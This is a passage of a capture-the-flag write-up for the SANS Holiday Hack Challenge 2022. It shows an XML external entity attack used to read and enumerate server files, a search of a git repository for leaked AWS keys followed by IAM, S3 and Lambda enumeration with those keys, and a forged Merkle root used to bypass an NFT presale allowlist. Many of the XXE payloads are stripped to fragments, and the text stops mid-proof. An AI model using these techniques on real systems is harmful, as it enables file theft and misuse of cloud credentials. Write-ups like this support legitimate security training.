princess.js: ![](images/sans_hhq_2022/gl_5.JPG) There's nothing very interesting here, but note that the filename is included as part of the response, and for the princess.js file the filoename is indeed princess.js But look at the response for image-1.js ![](images/sans_hhq_2022/gl_6.JPG) The filename we request is different to the filename referred to in the content-disposition. We can infer from this that there is a mapping between the filename we request and some set of static files. It's also interesting that this includes a path to /static/js, whereas the princess.js response included no such path. The response for the Glamtariel image: ![](images/sans_hhq_2022/gl_7.JPG) Filenames are the same here. The response for thye candycane image: ![](images/sans_hhq_2022/gl_8.JPG) Here we have another case of the requested filename mapping to another filename. Now this is actually expected considering that the filename for the images we request uses a timestamp as a sort of token in the filename. That would need to map to something in the background. The following is the mapping for these images: | Requested File | Filename | |------------------------|--------------------------| | img1-1671283817754.png | 1-sweetstuff-2022.png | | img2-1671283817754.png | 1-kringleman-2022.png | | img3-1671283817754.png | 1-kringlehelper-2022.png | | img4-1671283817754.png | 1-icycube-2022.png | #### Network Traffic - Dragging and Dropping Dragging Kringle onto the fountain generates the following traffic: ![](images/sans_hhq_2022/gl_9.JPG) The payload of the response from /dropped is ```` { "appResp": "Trying to TAMPER with Kringle's favorite cookie recipe or the entrance tickets can't help you Grinchum! I'm not sure what you are looking for but it isn't here! Get out!^Miserable trickster! Please click him out of here.", "droppedOn": "none", "visit": "static/images/grinchum-supersecret_9364274.png,265px,135px" } ```` Wait wait wait wait I didn't do anything weird here. Refreshign the page might have broken something and caused this response to show? The file static/images/grinchum-supersecret_9364274.png is requested but a broken image shows. It looks like the file couldn't be loaded. But we do know that there's a mapping going on. What if we request the image name without the path? When we click on the broken image, as requested by Glamariel, it dissapears. At this point dragging any of the images over causes the same thing to happen. This may be becuase I have the site open in multiple tabs, the cookie on this tab may no longer be valid. Lets take a step back and look at what we want to see - the expected normal behaviour. I close the other tabs to hopefully correct my cookie. Dragging Kringle onto the fountain generates the following traffic: ![](images/sans_hhq_2022/gl_10.JPG) Something we can note in the header for the request to /dropped is that the MiniLembanh cookie changes after each request: ![](images/sans_hhq_2022/gl_11.JPG) This is the request data posted to the server: ```` {"imgDrop":"img2","who":"fountain","reqType":"json"} ```` The other token shown on the web page is sent in the request header in field named X-Grinchum. The first part of the image filename is provided, as well as the location it was dragged to and the request type. The response: ``` { "appResp": "Kringle really likes the cookies here so I always make them the same way.^Kringle really dislikes it if anyone tries to TAMPER with the cookie recipe Glamtariel uses.", "droppedOn": "fountain", "visit": "none" } ``` The visit field is interesting. The first time I documented the behaviour of the app in terms of network traffic, and we had an invalid cookie/token, we saw that a file came back in the visit field. That file was then requested by the app and displayed (or at least it tried to display it). ### Network Traffic - Second Image Set When the new set of images shows we get the dollowing response to the last request: ``` { "appResp": "I helped the elves to create the PATH here to make sure that only those invited can find their way here.^I wish the elves visited more often.", "droppedOn": "princess", "visit": "none" } ``` ![](images/sans_hhq_2022/gl_13.JPG) When we get the new image set we get them in the same format as we got the first image set. We get a JS file as well as some image files, all names img1 to img4 with a timestamp added to the filename. We can add more images to our mapping tabloe from above. First Image-set | Requested File | Filename | |------------------------|--------------------------| | img1-1671283817754.png | 1-sweetstuff-2022.png | | img2-1671283817754.png | 1-kringleman-2022.png | | img3-1671283817754.png | 1-kringlehelper-2022.png | | img4-1671283817754.png | 1-icycube-2022.png | Second Image-set | Requested File | Filename | | img1-1671290813540.png | img1-77989.png | | img2-1671290813540.png | img2-31399.png | | img3-1671290813540.png | img3-4849.png | | img4-1671290813540.png | img4-93818.png | These image names are far less descriptive than the ones in the first set. The JS we get back seems to be the same as the previous JS we recieved, but the filename is actually different this time and it also seems to map to a different filename. ![](images/sans_hhq_2022/gl_14.JPG) #### Network Traffic - Third Image Set A third image-set consisting of rings seems to come next. Same network traffic as seen before. A JS file comes. This is the same situation as above, the filenames are different and different to what we've seen before. The image set map to the filenames as follows: | Requested File | Filename | |------------------------|--------------------------| | img1-1671292390519.png | img1-9599.png | | img2-1671292390519.png | img2-16004.png | | img3-1671292390519.png | img3-3162.png | | img4-1671292390519.png | img4-99519.png | Similarly to the second image set, the filenames are not descriptive. Something interesting here is that the first and forth image appear to be the exact same but map to different filenames. I suspect after the first image set that all of the filenames are dynamic in some way. #### Network Traffic - Other Notes Dragging and dropping the ring from the second image set causes an eye image to appear. This can be clicked away. Similar situation with the filename, the requested file maps to another filename: ![](images/sans_hhq_2022/gl_15.JPG) #### Thoughts and Actions We have a lot of information about the app now and the direction we should be going. There was mention of a RINGLIST file. There was mention of paths, tampering, and types. We encountered the following paths: /static/js/ \ /static/images \ Ok, so lets start properly poking and proding and lets see what we can come up with. When we drop an image onto the fountain or onto Glamtariel, we send something like the following (This is the request payload sent if we use kringle on the foutain): ``` {"imgDrop":"img2","who":"fountain","reqType":"json"} ``` I want to play with the values here and see what kind of responses I can generate. I'm guessing that "img2" maps to something that contains text. Maybe a file? I'm also thinking that becuase each image set will actually identify a particular image as "img2", that some kind of state is maintained in the background where img2 maps to different things depending on the image set you are on. The "who" field must dicate the text that comes back. The reqType must be used in the background to determine the type of data to return. I use OWASP ZAP to mess with the requests. First lets try ``` {"imgDrop":"fountain","who":"fountain","reqType":"json"} ``` Response: ``` { "appResp": "Many things we've learned in all our years, but nothing about that.^Many things we've learned in all our years, but nothing about that.", "droppedOn": "fountain", "visit": "none" } ``` This is likely a default response used when data can't be retrieved. What if we try changing the reqType. Set it to blank? ``` {"imgDrop":"img4","who":"princess","reqType":""} ``` Response: ``` { "appResp": "We know many languages, some very ancient, but not that one.^We know many languages, some very ancient, but not that one.", "droppedOn": "none", "visit": "none" } ``` Ok, lets see what kind of response we get for "text". ``` {"imgDrop":"img4","who":"princess","reqType":"text"} ``` Response: ``` { "appResp": "We know many languages, some very ancient, but not that one.^We know many languages, some very ancient, but not that one.", "droppedOn": "none", "visit": "none" } ``` No? XML came up in a previous challenge... what about XML? ``` {"imgDrop":"img4","who":"fountain","reqType":"xml"} ``` Response: ``` { "appResp": "We don't speak that way very often any more. Once in a while perhaps, but only at certain times.^I don't hear her use that very often. I think only for certain TYPEs of thoughts.", "droppedOn": "none", "visit": "none" } ``` Interesting... So xml as a type would work for some requests? certain TYPEs? Maybe we need to change the request content type as well, which would make sense! Using the following header (modified content-type) and data we get the following response: ``` POST https://glamtarielsfountain.com/dropped HTTP/1.1 Host: glamtarielsfountain.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: application/json Accept-Language: en-US,en;q=0.5 Content-Type: application/xml X-Grinchum: IjNlZGZjZjE4ZDc2OGU4MzllM2E1NTA0MmUxODQ2NDdjOTYxOGYyMjMi.Y5389g.Mmu3Wbr284sJqrunmTzZgQsbZ9Y Content-Length: 51 Origin: https://glamtarielsfountain.com Connection: keep-alive Referer: https://glamtarielsfountain.com/ Cookie: GCLB="7a556b0e778f0a16"; MiniLembanh=355f22ce-24b9-4a18-8890-131fd2eb93e5.LTVz024Z639E06IOIYPQ0ytRDPM Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin {"imgDrop":"img2","who":"fountain","reqType":"xml"} ``` Response: ``` { "appResp": "Zoom, Zoom, very hasty, can't do that yet!^Zoom, Zoom, very hasty, can't do that yet!", "droppedOn": "none", "visit": "none" } ``` A different message! Interesting. Now there is something obvious here. We aren't actually sending XML. Buts so far that's ok. This is all about pooking and prodding to see what happens. Lets try sending XML instead of JSON data. Lets try this: ``` img2 fountain xml ``` Response: ``` { "appResp": "Zoom, Zoom, very hasty, can't do that yet!^Zoom, Zoom, very hasty, can't do that yet!", "droppedOn": "none", "visit": "none" } ``` Again! Hmm. Perhaps we have to progress through the image sets before we're allowed to do this? Or maybe we haven't done something else... Lets progress to the third image set, the rings, and see if it works there. When we're at the rings and we send JSON data but set the content-type to XML and set the reqType to XML we get the following response: ``` { "appResp": "Sorry, we didnt quite catch that. We're not sure what TYPE of thought of thought you meant to share.^Sorry, we didnt quite catch that. We're not sure what TYPE of thought of thought you meant to share.", "droppedOn": "none", "visit": "none" } ``` Lets try the sane thing and send XML! Sending things correctly gets us the following response: ``` { "appResp": "I'm one of the few who can discuss anything using that TYPE of language.^Yeah, I can understand a bit, but not communicate with it at all.", "droppedOn": "none", "visit": "none" } ``` Oh this is interesting! We get the exact same response from each of the rings if we send use the fountain. What about dropping them on Glamtariel? img1 response: ``` { "appResp": "I love rings of all colors!^She definitely tries to convince everyone that the blue ones are her favorites. I'm not so sure though.", "droppedOn": "none", "visit": "none" } ``` The normal response it seems! We get the exact same response back for all 4 of the rings. Earlier in a different challenge we had to get data related to an XML entity injection attack. Could this application be vulnerable to that too? ... I've been experimenting with the following exploit: ``` ]> img4 &ya; xml ``` with the &ya; placed in various places. I don't know if the file will read correctly, but that doesn't matter right now as I'm still missing something. I cannot reflect the value of &ya; back in the server response. I need to find a way to do this. The droppedOn value in the response seems like an obvious place, but it doesn't seem to the populated in the XML response. Am I missing something? So far I can only get back the same response as I documented for all 4 rings earlier. ... I spent some time trying various payloads. I couldn't figure out a way to get data back for some time. After banging my head against the wall a few times I realised that there was a way to determine if we were reading a file or not. In XXE we can add data to a variable. If this variable has no data then it will be blank. The following payload will always return a positive message as long as the "test" variable has no data, as in, as long as it is not reading a file. The payload below confirms this. We know that the /etc/passwd file will exist, and this payload returns a negitive message ("we don't know anything...") ]> img3&test; princess xml Now lets hunt for files I suppose! ... After some playing around I figured out a way to enumerate the file structure. In the following we can test to see if a directory "test" exists at the root directory. If "test" does not exist then we get the message "i love rings of all colours..." otherwise if the directory does exist then we get a message saying "I know nothing about that...". ]> img3&test; princess xml Test for: /app -> yes! /root/app -> no /home/glamtariel -> no /home/fountain -> no /home/app -> no /var/www/ -> no /app exists. Lets just verify. The following should return "i love all rings..." ]> img3&test; princess xml It does! Lets start digging in here. /app/static -> yes! /app/static/images/ -> yes! ]> img3&test; princess xml Lets try one of the image files that we know the name of (assuming the name imgX maps to an actual file)... /app/static/images/1-sweetstuff-2022.png ]> img3&test; princess xml And we get "sorry I don't know anything about that..." ]> img3&test; princess xml ... After much experimentation we get something that works! Seriuously, I must have tried every combination of filenames and paths before hitting this one. ```` ]> &test; princess xml ```` The response: ```` { "appResp": "Ah, you found my ring list! Gold, red, blue - so many colors! Glad I don't keep any secrets in it any more! Please though, don't tell anyone about this.^She really does try to keep things safe. Best just to put it away. (click)", "droppedOn": "none", "visit": "static/images/pholder-morethantopsupersecret63842.png,262px,100px" } ```` We get the following image back: ![](images/sans_hhq_2022/gl_17.JPG) If we flip this we can see some interesting information: ![](images/sans_hhq_2022/gl_18.JPG) We can see the following: bluering.txt redring.txt x_phial_pholder_2022 There was mention of other colour rings. Lets check the following files for a response: x_phial_pholder_2022 -> no 2022_phial_pholder_2022 -> no x_phial_pholder_2022.txt -> no 2022_phial_pholder_2022.txt -> no bluering.txt -> no redring.txt -> Hold on, are these files inside a folder called x_phial_pholder_2022 by any chance...? Yes! Lets start this again. I'm using the following payload. ```` ]> &test; princess xml ```` x_phial_pholder_2022/bluering.txt ```` { "appResp": "I love these fancy blue rings! You can see we have two of them. Not magical or anything, just really pretty.^She definitely tries to convince everyone that the blue ones are her favorites. I'm not so sure though.", "droppedOn": "none", "visit": "none" } ```` x_phial_pholder_2022/redring.txt ```` { "appResp": "Hmmm, you still seem awfully interested in these rings. I can't blame you, they are pretty nice.^Oooooh, I can just tell she'd like to talk about them some more.", "droppedOn": "none", "visit": "none" } ```` x_phial_pholder_2022/silverring.txt ```` { "appResp": "I'd so love to add that silver ring to my collection, but what's this? Someone has defiled my red ring! Click it out of the way please!.^Can't say that looks good. Someone has been up to no good. Probably that miserable Grinchum!", "droppedOn": "none", "visit": "static/images/x_phial_pholder_2022/redring-supersupersecret928164.png,267px,127px" } ```` The following image shows up: ![](images/sans_hhq_2022/gl_19.JPG) Flipped ![](images/sans_hhq_2022/gl_20.JPG) Goldring to be deleted? Lets all that to the list to check after! x_phial_pholder_2022/goldring.txt ```` { "appResp": "Sorry, we dont know anything about that.^Sorry, we dont know anything about that.", "droppedOn": "none", "visit": "none" } ```` x_phial_pholder_2022/greenring.txt ```` { "appResp": "Hey, who is this guy? He doesn't have a ticket!^I don't remember seeing him in the movies!", "droppedOn": "none", "visit": "static/images/x_phial_pholder_2022/tomb2022-tommyeasteregg3847516894.png,230px,30px" } ```` and we get the following image! ![](images/sans_hhq_2022/gl_21.JPG) x_phial_pholder_2022/webring.txt ```` { "appResp": "Sorry, we dont know anything about that.^Sorry, we dont know anything about that.", "droppedOn": "none", "visit": "none" } ```` Nothing for webring. It was a bit cheeky to check for that though. x_phial_pholder_2022/goldring_to_be_deleted.txt ```` { "appResp": "Hmmm, and I thought you wanted me to take a look at that pretty silver ring, but instead, you've made a pretty bold REQuest. That's ok, but even if I knew anything about such things, I'd only use a secret TYPE of tongue to discuss them.^She's definitely hiding something.", "droppedOn": "none", "visit": "none" } ```` Ok that's interesting... It seems like we need to make a different type of request for this? Hardly...Maybe we need to set the accept type to also be XML? ```` ]> &test; princess xml ```` No... same response. Do we need to swap back to JSON? ```` {"imgDrop":"goldring_to_be_deleted","who":"princess","reqType":"json"} ```` Nope! Ok... what can we do with our request type here? Send a GET instead of a POST? ...or send a DELETE? That would fit with the name... Response to DELETE ```` 405 Method Not Allowed

Method Not Allowed

The method is not allowed for the requested URL.

```` NOPE! ```` ]> &test; princess xml ```` Ok, so it clearly hints at request type. But I don't think we should stray from XML... otherwise we would lose our XXE. What could secret type of tongue refer to? Set the request type to tongue, or maybe to secret??? ```` ]> &test; princess secret ```` No for both. It tells us that it cannot understand the request. Do we need to add another element called secret? ```` ]> &secret; princess xml ```` Variations of additional elements don't seem to do anything... ... Quick Google and I've found something interesting! https://libvirt.org/formatsecret.html This is taken from that site. The uuid shown there looks VERY familiar. It's the exact same format as our snack token. I think that we need to use this here. ```` Super secret name of my first puppy 0a81f5b2-8403-7b23-c8d6-21ccc2f80d6f /var/lib/libvirt/images/puppyname.img ```` Ok, lets try including an XML secret in our payload. ```` de4c69b3-d296-4489-ba0d-6b6cec4baceb ```` ```` 0a81f5b2-8403-7b23-c8d6-21ccc2f80d6f /app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt ```` ... After going CRAZY I finally got something. What I was missing was a valid item in the imgDrop field. ```` ]> img1 princess &test; ```` Returns the following: ```` { "appResp": "No, really I couldn't. Really? I can have the beautiful silver ring? I shouldn't, but if you insist, I accept! In return, behold, one of Kringle's golden rings! Grinchum dropped this one nearby. Makes one wonder how 'precious' it really was to him. Though I haven't touched it myself, I've been keeping it safe until someone trustworthy such as yourself came along. Congratulations!^Wow, I have never seen that before! She must really trust you!", "droppedOn": "none", "visit": "static/images/x_phial_pholder_2022/goldring-morethansupertopsecret76394734.png,200px,290px" } ```` ![](images/sans_hhq_2022/gl_22.JPG) And we have it! Thwe flag is the filename: goldring-morethansupertopsecret76394734.png ## Recover the Cloud Ring Recover the Cloud Ring. ### AWS CLI Intro Try out some basic AWS command line skills in this terminal. Talk to Jill Underpole in the Cloud Ring for hints. ![](images/sans_hhq_2022/aws_1.JPG) FUCK. Lets try that again. Great! When you're done, you can quit with q. Next, please configure the default aws cli credentials with the access key AKQAAYRKO7A5Q5XUY2IY, the secret key qzTscgNdcdwIo/soPKPoJn9sBrl5eMQQL19iO5uf and the region us-east-1 . https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-quickstart.html#cli-configure-quickstart-config This is fairly straight forward. You can follow the documentation found through the link. Excellent! To finish, please get your caller identity using the AWS command line. For more details please reference: $ aws sts help or reference: https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sts/index.html Again, follow the documentation at that link. aws sts get-caller-identity will get you the details you need. ### Trufflehog Search Use Trufflehog to find secrets in a Git repo. Work with Jill Underpole in the Cloud Ring for hints. What's the name of the file that has AWS credentials? Herr wee need to use a tool "trufflehog" to find the filename containing credentials in https://haugfactory.com/asnowball/aws_scripts.git. trufflehog git https://haugfactory.com/asnowball/aws_scripts.git After seeing the output of the above I decided that it might be easier to clone the git repo to the local machine first. At least then we can have easier access to files and commits. ```` elf@b3ae4e29b2e3:~/aws_scripts$ trufflehog git https://haugfactory.com/asnowball/aws_scripts.git 🐷🔑🐷 TruffleHog. Unearth your secrets. 🐷🔑🐷 Found unverified result 🐷🔑❓ Detector Type: AWS Decoder Type: PLAIN Raw result: AKIAAIDAYRANYAHGQOHD Commit: 106d33e1ffd53eea753c1365eafc6588398279b5 File: put_policy.py Email: asnowball Repository: https://haugfactory.com/asnowball/aws_scripts.git Timestamp: 2022-09-07 07:53:12 -0700 -0700 Line: 6 Found unverified result 🐷🔑❓ Detector Type: Gitlab Decoder Type: PLAIN Raw result: add-a-file-using-the- File: README.md Email: alabaster snowball Repository: https://haugfactory.com/asnowball/aws_scripts.git Timestamp: 2022-09-06 19:54:48 +0000 UTC Line: 14 Commit: 2c77c1e0a98715e32a277859864e8f5918aacc85 Found unverified result 🐷🔑❓ Detector Type: Gitlab Decoder Type: BASE64 Raw result: add-a-file-using-the- Timestamp: 2022-09-06 19:54:48 +0000 UTC Line: 14 Commit: 2c77c1e0a98715e32a277859864e8f5918aacc85 File: README.md Email: alabaster snowball Repository: https://haugfactory.com/asnowball/aws_scripts.git ```` Going with that first commit that trufflehog returned, we can track ddown the exact relevant file using: git log --stat 106d33e1ffd53eea753c1365eafc6588398279b5 ```` commit 106d33e1ffd53eea753c1365eafc6588398279b5 Author: asnowball Date: Wed Sep 7 07:53:12 2022 -0700 added put_policy.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) ```` Ok, lets look at the put_policy.py file! ```` import boto3 import json iam = boto3.client('iam', region_name='us-east-1', aws_access_key_id=ACCESSKEYID, aws_secret_access_key=SECRETACCESSKEY, ) # arn:aws:ec2:us-east-1:accountid:instance/* response = iam.put_user_policy( PolicyDocument='{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["ssm:SendCommand"],"Resource":["arn:aws:ec2:us-east-1:748127089694:instance/i-0415bfb7dcfe279c5","arn:aws:ec2:us-east-1:748127089694:document/RestartServices"]}]}', PolicyName='AllAccessPolicy', UserName='nwt8_test', ) ```` It doesn't seem like they're there. What if we check out the older version? ```` elf@b3ae4e29b2e3:~/aws_scripts$ git checkout -b old-state 106d33e1ffd53eea753c1365eafc6588398279b5 Switched to a new branch 'old-state' elf@b3ae4e29b2e3:~/aws_scripts$ cat put_policy.py import boto3 import json iam = boto3.client('iam', region_name='us-east-1', aws_access_key_id="AKIAAIDAYRANYAHGQOHD", aws_secret_access_key="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", ) # arn:aws:ec2:us-east-1:accountid:instance/* response = iam.put_user_policy( PolicyDocument='{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["ssm:SendCommand"],"Resource":["arn:aws:ec2:us-east-1:748127089694:instance/i-0415bfb7dcfe279c5","arn:aws:ec2:us-east-1:748127089694:document/RestartServices"]}]}', PolicyName='AllAccessPolicy', UserName='nwt8_test', ) elf@b3ae4e29b2e3:~/aws_scripts$ ```` Haha! aws_access_key_id="AKIAAIDAYRANYAHGQOHD", aws_secret_access_key="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" ```` elf@b3ae4e29b2e3:~/aws_scripts$ aws configure AWS Access Key ID [None]: AKIAAIDAYRANYAHGQOHD AWS Secret Access Key [None]: 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 Default region name [None]: us-east-1 Default output format [None]: elf@b3ae4e29b2e3:~/aws_scripts$ aws sts get-caller-identity { "UserId": "AIDAJNIAAQYHIAAHDDRA", "Account": "602123424321", "Arn": "arn:aws:iam::602123424321:user/haug" } elf@b3ae4e29b2e3:~/aws_scripts$ ```` Next we get this: Managed (think: shared) policies can be attached to multiple users. Use the AWS CLI to find any policies attached to your user. The aws iam command to list attached user policies can be found here: https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/index.html Hint: it is NOT list-user-policies. Quick look at the documentation and some trial and error gets us: ```` elf@b3ae4e29b2e3:~/aws_scripts$ aws iam list-attached-user-policies --user-name haug { "AttachedPolicies": [ { "PolicyName": "TIER1_READONLY_POLICY", "PolicyArn": "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY" } ], "IsTruncated": false } elf@b3ae4e29b2e3:~/aws_scripts$ ```` Next we need to get that policy. ```` elf@b3ae4e29b2e3:~/aws_scripts$ aws iam get-policy --policy-arn arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY { "Policy": { "PolicyName": "TIER1_READONLY_POLICY", "PolicyId": "ANPAYYOROBUERT7TGKUHA", "Arn": "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY", "Path": "/", "DefaultVersionId": "v1", "AttachmentCount": 11, "PermissionsBoundaryUsageCount": 0, "IsAttachable": true, "Description": "Policy for tier 1 accounts to have limited read only access to certain resources in IAM, S3, and LAMBDA.", "CreateDate": "2022-06-21 22:02:30+00:00", "UpdateDate": "2022-06-21 22:10:29+00:00", "Tags": [] } } elf@b3ae4e29b2e3:~/aws_scripts$ ```` Attached policies can have multiple versions. View the default version of this policy. The aws iam command to get a policy version can be found here: https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/index.html This following command gets back the correct details. The output is too long to copy from the given terminal: ```` aws iam get-policy-version --policy-arn arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY --version-id v1 ```` Inline policies are policies that are unique to a particular identity or resource. Use the AWS CLI to list the inline policies associated with your user. The aws iam command to list user policies can be found here: https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/index.html Hint: it is NOT list-attached-user-policies ```` elf@b3ae4e29b2e3:~/aws_scripts$ aws iam list-user-policies --user-name haug { "PolicyNames": [ "S3Perms" ], "IsTruncated": false } ```` Next we needed to get the policy for the user: ```` lf@b3ae4e29b2e3:~/aws_scripts$ aws iam get-user-policy --user-name haug --policy-name S3Perms{ "UserPolicy": { "UserName": "haug", "PolicyName": "S3Perms", "PolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "s3:ListObjects" ], "Resource": [ "arn:aws:s3:::smogmachines3", "arn:aws:s3:::smogmachines3/*" ] } ] } }, "IsTruncated": false } ```` The inline user policy named S3Perms disclosed the name of an S3 bucket that you have permissions to list objects. List those objects! The aws s3api command to list objects in an s3 bucket can be found here: https://awscli.amazonaws.com/v2/documentation/api/latest/reference/s3api/index.html The following command works here. The output it too large to copy: ```` aws s3api list-objects --bucket smogmachines3 ```` The attached user policy provided you several Lambda privileges. Use the AWS CLI to list Lambda functions. The aws lambda command to list functions can be found here: https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/index.html ```` aws lambda list-functions --bucket smogmachines3 ```` Lambda functions can have public URLs from which they are directly accessible. Use the AWS CLI to get the configuration containing the public URL of the Lambda function. The aws lambda command to get the function URL config can be found here: https://awscli.amazonaws.com/v2/documentation/api/latest/reference/lambda/index.html ```` elf@b3ae4e29b2e3:~/aws_scripts$ aws lambda get-function-url-config --bucket smogmachines3 --function-name smogmachine_lambda { "FunctionUrl": "https://rxgnav37qmvqxtaksslw5vwwjm0suhwc.lambda-url.us-east-1.on.aws/", "FunctionArn": "arn:aws:lambda:us-east-1:602123424321:function:smogmachine_lambda", "AuthType": "AWS_IAM", "Cors": { "AllowCredentials": false, "AllowHeaders": [], "AllowMethods": [ "GET", "POST" ], "AllowOrigins": [ "*" ], "ExposeHeaders": [], "MaxAge": 0 }, "CreationTime": "2022-09-07T19:28:23.808713Z", "LastModifiedTime": "2022-09-07T19:28:23.808713Z" } elf@b3ae4e29b2e3:~/aws_scripts$ ```` ...and we're done! ## Recover the Burning Ring of Fire Recover the Burning Ring of Fire. ### Buy a Hat Travel to the Burning Ring of Fire and purchase a hat from the vending machine with KringleCoin. Find hints for this objective hidden throughout the tunnels. For this we need to go to the vending machine and follow the instructions that we're given. ![](images/sans_hhq_2022/vend_1.JPG) After choosing a slightly off-white Santa hat we're told to send a pre-approved 10 KringCoin (KC) transaction to a wallet at address: 0xada9B1690330D47beD1cEb9E03737F8b3e4faEf5. The Hat ID is 125. ![](images/sans_hhq_2022/vend_2.JPG) We need to approve this transaction at one of the KringleCoin ATMs. ![](images/sans_hhq_2022/ktm_1.JPG) The wallet info was provided at the very start in the KringleCon orientation. Fun fact, if you forget your wallet key you can go behind Santas castle and he will give you a quest to retrieve it! Using the KTM we can approve the transaction. ![](images/sans_hhq_2022/ktm_2.JPG) Once we make the transaction we can head back to the vending machine. Using our Wallet ID and Hat ID, we can confirm the purchase with the vending machine and complete the objective (and also get a cool hat in the process!). ![](images/sans_hhq_2022/vend_3.JPG) ### Blockchain Divination Use the Blockchain Explorer in the Burning Ring of Fire to investigate the contracts and transactions on the chain. At what address is the KringleCoin smart contract deployed? Find hints for this objective hidden throughout the tunnels. Going to the Blockchain explorer terminal we can see information for each block on the relevant blockchain. ![](images/sans_hhq_2022/bce_1.JPG) I don't have any experience with Blockchain so this is new. One of the hints points out that each transaction has a To and From address, and that the To address should be the address of the KringleCoin smart contract. That address is 0xc27A2D3DE339Ce353c0eFBa32e948a88F1C86554. This objective was actually pretty easy, but to be honest without the hint I would have had some difficulty figuring out what to look for. Although Tom's talk was helpful in understanding some of the things that were shown: https://www.youtube.com/watch?v=r3zj9DPC8VY ### Exploit a Smart Contract Exploit flaws in a smart contract to buy yourself a Bored Sporc NFT. Find hints for this objective hidden throughout the tunnels. NFTs...fun! ![](images/sans_hhq_2022/nft_1.JPG) Now, I'm also new to smart contracts but we have a hint that should be relevant for this: ```` Find a transaction in the blockchain where someone sent or received KringleCoin! The Solidity Source File is listed as KringleCoin.sol. Tom's Talk might be helpful! ```` I wonder, if the buying process is similar to the hat buying process, could we use information from a previous transaction to create a new legitimate transaction? Reading through the content on the Bored Sporc web page is getting me hyped to get one of these "dope" sporc NFTs. It's said that these are currently in presale and only approved members can purchase one (maybe we can get the data it uses to validate approved memebers from the blockchain?). Clicking on the buy link takes us to a new page: ![](images/sans_hhq_2022/nft_2.JPG) So some takeways from the text here: - Only pre-approved wallets can buy. - We have a way to validate if a wallet is pre-approved. - Merkle Tree (Relevant?). - A string of prooof values is needed. This was given out when sporcs were told that they were on the pre-approved list. - The proof value string is hex. - The NFT costs 100KC. - The wallet address to buy from is 0xe8fC6f6a76BE243122E3d01A1c544F87f1264d3a. There is a gallery page that shows some sporc NFTs. This is interesting, not just becuase of the "dope" sporc NFTs, but becuase it lists the owner of each NFT. The owner shown here could be the wallet address? If this is the case then it means that we have a list of pre-approved wallets! We just need the proof value then... ![](images/sans_hhq_2022/nft_3.JPG) Owners list: ```` 0xa1861E96DeF10987E1793c8f77E811032069f8E9 0xb9aA688bB7A1B085f307bf9a11790BFD24C5D5C2 0xc249927fb81bde4eA7B9Dc9e4c9E6F503F147fe2 0x8153e0E5cabC22545A1fe4d0149C2Fdc486A8ad8 0x7F7cAA97b73fD38d6740e59C159428509eE00082 0x214Fee463D58D21954e75bdD93c386414e71A985 ```` At this point I wonder if we can retrieve the proof value string from the blockchain through the explorer. We have a list of potential wallet codes and we know exactly how much would have been transferred in each transaction (100KC). Messing with the pre-sale page gives us some interesting information: ![](images/sans_hhq_2022/nft_4.JPG) So the listed owners ARE wallet addresses, but we can't use these addresses as they have already bought an NFT. But this is ok. Maybe we can still use the wallet information to retrieve the proof for each of those wallets and determine how they were generated? Gojing by the message shown in the page I also wonder if the proof is actually verified before it tells us that the wallet is approved. There must be some way that we can use the information we have to gain more information. I decided to pop back to the first block in the blockchain to see what it was or if there was any interesting information, and there i something here that's related to the hint. The hint mentioned the Solidity Source File, and we can see that here. But we can also see that in most of the other blocks... But the second block has something else. The second block has the source for BSRS_nft.sol. This may contain something of interest to us. This code seems to contain functions that are relevant to the sporc NFTs. Particularily this: ```` function presale_mint(address to, bytes32 _root, bytes32[] memory _proof) public virtual { bool _preSaleIsActive = preSaleIsActive; require(_preSaleIsActive, "Presale is not currently active."); bytes32 leaf = keccak256(abi.encodePacked(to)); require(verify(leaf, _root, _proof), "You are not on our pre-sale allow list!"); _mint(to, _tokenIdTracker.current()); _tokenIdTracker.increment(); } ```` and ```` function verify(bytes32 leaf, bytes32 _root, bytes32[] memory proof) public view returns (bool) { bytes32 computedHash = leaf; for (uint i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } return computedHash == _root; } ```` It looks like the proof is generated from the leaf (originally the "to" address), and the given wallet code. So we may be able to generate a valid proof for our wallet. The "to" address should be the address of the smart contract (?) The address of the BSRS_nft smart contract is: 0x36A3d1182Cf6C15D93E47EF3E27272BFA0E8612A So we have the proof creation algorithm, the value of the "leaf" variable (the "to" address), and the value of the "_root" variable (our wallet). Looking back ant the hints we actually have something very relevant. Merkle Tree Arboriculture From: Hidden Chest - NPSL (Outside Elfen Ring) Terminal: Bored Sporc Rowboat Society You're going to need a Merkle Tree of your own. Math is hard. Professor Petabyte can help you out. https://decentralizedthoughts.github.io/2020-12-22-what-is-a-merkle-tree/ https://www.youtube.com/watch?v=Qt_RWBq63S8 This looks like it might be useful: https://lab.miguelmota.com/merkletreejs/example/ After playing around with this I noticed that the root value is actually sent in the payload we send to the web server. Meaning that we can actually create a small merkle tree using the values that we have, modify the root sent to the server and we should be able to get around this check! ![](images/sans_hhq_2022/nft_5.JPG) I used the website above to generate the Merkle tree. ```` Leaves: [ "0xe8fC6f6a76BE243122E3d01A1c544F87f1264d3a", "0xEeBDb2347fD88aA857B50aBC100789959bF90a1d" ] Calculate a root of: 0x0c084f3eb0b281bc120cc033c63cbca3f88d6933a07210e33c842c0b4512b03f ```` ```` Leaf Value: 0xEeBDb2347fD88aA857B50aBC100789959bF90a1d (hashed 0xc742b81f3519a29b9298defae3b6f4de2eade8c7cc339e0bfcd06d7f584e8e5e) Proof: 